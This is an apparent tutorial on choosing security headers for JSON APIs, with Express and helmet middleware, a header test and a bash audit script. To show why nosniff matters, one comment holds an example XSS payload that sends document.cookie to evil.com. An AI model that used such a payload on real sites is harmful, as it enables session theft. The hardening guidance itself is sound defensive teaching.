Security Headers for APIs
Most header guidance is written for HTML pages. Here is which ones matter for a JSON API, and which are theatre.
Security-header checklists are written for web pages. An API that returns JSON needs a shorter list, and applying the page list wholesale produces headers that do nothing while missing the ones that matter.
The ones that matter for an API
| Header | Why |
|---|---|
Strict-Transport-Security | stops HTTP downgrade |
X-Content-Type-Options: nosniff | stops the browser guessing a type and executing your JSON as script |
Cache-Control: no-store | keeps authenticated responses out of every cache |
Content-Type with a charset | correctly set, it removes a class of confusion |
Vary | stops shared caches serving one user's response to another |
Access-Control-* | the CORS rules — see the next lesson |
The ones that mostly do not
X-Frame-Options— protects against framing an HTML page. A JSON endpoint is not framed usefully. Harmless to send; not a finding if absent on a pure API.Content-Security-Policy— governs what a page may load. For a JSON API,default-src 'none'; frame-ancestors 'none'is a cheap belt-and-braces for the case where a browser does render your response.X-XSS-Protection— a legacy header for a filter that has been removed from browsers, and it introduced its own vulnerabilities. Do not send it.
The ones people forget
Content-Disposition: attachmenton anything user-supplied, so it downloads rather than renders.Referrer-Policy, which stops URLs — and any token in them — leaking to third parties.- Removing
ServerandX-Powered-By. Version disclosure is not a vulnerability, and it does hand an attacker a version-specific exploit to try first.
Example
// The complete, appropriate set for a JSON API
app.use((req, res, next) => {
res.set({
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
'X-Content-Type-Options': 'nosniff',
'Referrer-Policy': 'strict-origin-when-cross-origin',
'Content-Security-Policy': "default-src 'none'; frame-ancestors 'none'",
'Cache-Control': 'no-store',
'Vary': 'Origin, Authorization, Cookie',
});
res.removeHeader('X-Powered-By');
next();
});When to use it
- A JSON response containing user-supplied text is executed as HTML by an older browser until nosniff is applied.
- A password reset token leaks to an analytics provider through the Referer header before a referrer policy is set.
- A scanner report demanding X-XSS-Protection is correctly rejected, because the header is obsolete and was itself a vulnerability.
More examples
Headers per response type, not one blanket rule
Turning off helmet's page-oriented defaults rather than leaving them on keeps the header set meaningful — a wall of inapplicable headers hides the ones that matter.
import helmet from 'helmet';
// helmet's defaults target HTML pages. Configure it for an API rather than
// accepting a set of headers that mostly do not apply.
app.use(helmet({
contentSecurityPolicy: {
// A JSON API loads nothing. If a browser DOES render this response,
// the policy makes it inert.
directives: {
defaultSrc: ["'none'"],
frameAncestors: ["'none'"],
baseUri: ["'none'"],
formAction: ["'none'"],
},
},
hsts: { maxAge: 31536000, includeSubDomains: true, preload: false },
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
crossOriginResourcePolicy: { policy: 'same-site' },
// Off: these govern page behaviour and do not apply to JSON
crossOriginEmbedderPolicy: false,
originAgentCluster: false,
}));
app.disable('x-powered-by');
// ── Per response type ────────────────────────────────────────────────
// 1. JSON API responses
function jsonHeaders(res) {
res.set({
'Content-Type': 'application/json; charset=utf-8', // charset matters
'X-Content-Type-Options': 'nosniff',
'Cache-Control': 'no-store',
'Vary': 'Origin, Authorization, Cookie',
});
}
// 2. User-uploaded content — the highest-risk responses you serve
function userContentHeaders(res, file) {
res.set({
'Content-Type': file.detectedMime, // OURS, not the client's
'X-Content-Type-Options': 'nosniff',
'Content-Disposition': `attachment; filename="${sanitise(file.name)}"`,
'Content-Security-Policy': "default-src 'none'; sandbox",
'X-Frame-Options': 'DENY',
'Cross-Origin-Resource-Policy': 'same-origin',
'Cache-Control': 'private, no-store',
});
}
// 3. Genuinely public, cacheable data
function publicHeaders(res, maxAge = 3600) {
res.set({
'Content-Type': 'application/json; charset=utf-8',
'X-Content-Type-Options': 'nosniff',
'Cache-Control': `public, max-age=${maxAge}`,
'Vary': 'Accept-Encoding',
});
}
// ── And a test, because headers are removed by refactors ─────────────
it('sets the required headers on every API response', async () => {
const res = await request(app).get('/api/invoices')
.set('Authorization', `Bearer ${token}`);
expect(res.headers['x-content-type-options']).toBe('nosniff');
expect(res.headers['cache-control']).toContain('no-store');
expect(res.headers['strict-transport-security']).toBeDefined();
expect(res.headers['x-powered-by']).toBeUndefined();
expect(res.headers['x-xss-protection']).toBeUndefined(); // obsolete
});Why nosniff matters to a JSON API
The top-level array and JSONP points are historical, but both still appear in codebases — and JSONP in particular reintroduces cross-origin reads that CORS was built to control.
// Without nosniff, a browser may IGNORE your Content-Type and guess from the
// bytes. A JSON response containing user-supplied text can then be rendered
// as HTML — and executed.
// The response:
// Content-Type: application/json
// { "name": "<script>fetch('https://evil.com?c='+document.cookie)</script>" }
//
// Older browsers sniffing this as HTML execute the script, on YOUR origin,
// with access to YOUR cookies. Not theoretical — this is what nosniff was
// introduced to stop.
// ── Fix 1: nosniff, on every response ────────────────────────────────
res.set('X-Content-Type-Options', 'nosniff');
// ── Fix 2: an accurate Content-Type, with a charset ───────────────────
res.type('application/json; charset=utf-8');
// Omitting the charset historically allowed UTF-7 based bypasses.
// ── Fix 3: escape characters that matter in HTML, inside JSON ────────
// Belt and braces for the case where JSON is embedded in a page.
export function safeJsonStringify(value) {
return JSON.stringify(value)
.replace(/</g, '\\u003c')
.replace(/>/g, '\\u003e')
.replace(/&/g, '\\u0026')
.replace(/\u2028/g, '\\u2028') // line separators break inline scripts
.replace(/\u2029/g, '\\u2029');
}
// ── Fix 4: never return a JSON ARRAY at the top level of a GET ───────
// A top-level array was historically executable as JavaScript via array
// constructor overriding. Modern browsers fixed it, but wrapping is free and
// gives you room for pagination metadata anyway.
// ❌ res.json([{...}, {...}])
// ✅ res.json({ data: [{...}, {...}], pageInfo: {...} })
// ── Fix 5: never accept a JSONP callback ─────────────────────────────
// ❌ res.send(`${req.query.callback}(${JSON.stringify(data)})`)
// JSONP is CORS from before CORS existed. It bypasses the same-origin policy
// by design, it cannot be authenticated safely, and the callback parameter is
// an XSS sink. There is no reason to add it to a new API.Auditing what production actually sends
Testing against the deployed URL rather than the app instance is the point: CDNs and load balancers add, strip and rewrite headers your application never sees.
#!/usr/bin/env bash
# Configuration describes intent. This describes reality, including whatever
# your CDN adds or strips.
set -uo pipefail
HOST="${1:-https://dfg.com}"
FAIL=0
headers=$(curl -sI "$HOST/api/health")
require() { # require <header> <expected-substring>
local name="$1" want="$2"
local got; got=$(echo "$headers" | grep -i "^$name:" | cut -d: -f2- | tr -d '\r')
if [ -z "$got" ]; then
echo "MISSING $name"; FAIL=1
elif ! echo "$got" | grep -qi "$want"; then
echo "WRONG $name:$got (want: $want)"; FAIL=1
else
echo "ok $name:$got"
fi
}
forbid() { # forbid <header>
if echo "$headers" | grep -qi "^$1:"; then
echo "PRESENT $1 should not be sent"; FAIL=1
else
echo "ok $1 absent"
fi
}
require "Strict-Transport-Security" "max-age="
require "X-Content-Type-Options" "nosniff"
require "Referrer-Policy" "."
require "Content-Type" "charset"
forbid "X-Powered-By"
forbid "X-XSS-Protection" # obsolete, and was itself exploitable
forbid "X-AspNet-Version"
# Server header should not disclose a version
server=$(echo "$headers" | grep -i '^server:' || true)
echo "$server" | grep -qE '[0-9]+\.[0-9]+' && { echo "VERBOSE $server"; FAIL=1; }
# An AUTHENTICATED response must not be publicly cacheable
auth_headers=$(curl -sI "$HOST/api/me" -H "Authorization: Bearer $TOKEN")
echo "$auth_headers" | grep -i 'cache-control' | grep -qi 'public' \
&& { echo "CRITICAL authenticated response is publicly cacheable"; FAIL=1; }
exit $FAIL
# Run it in the deploy pipeline. Headers are added by middleware, removed by
# refactors, and rewritten by CDNs — none of which a unit test observes.
Discussion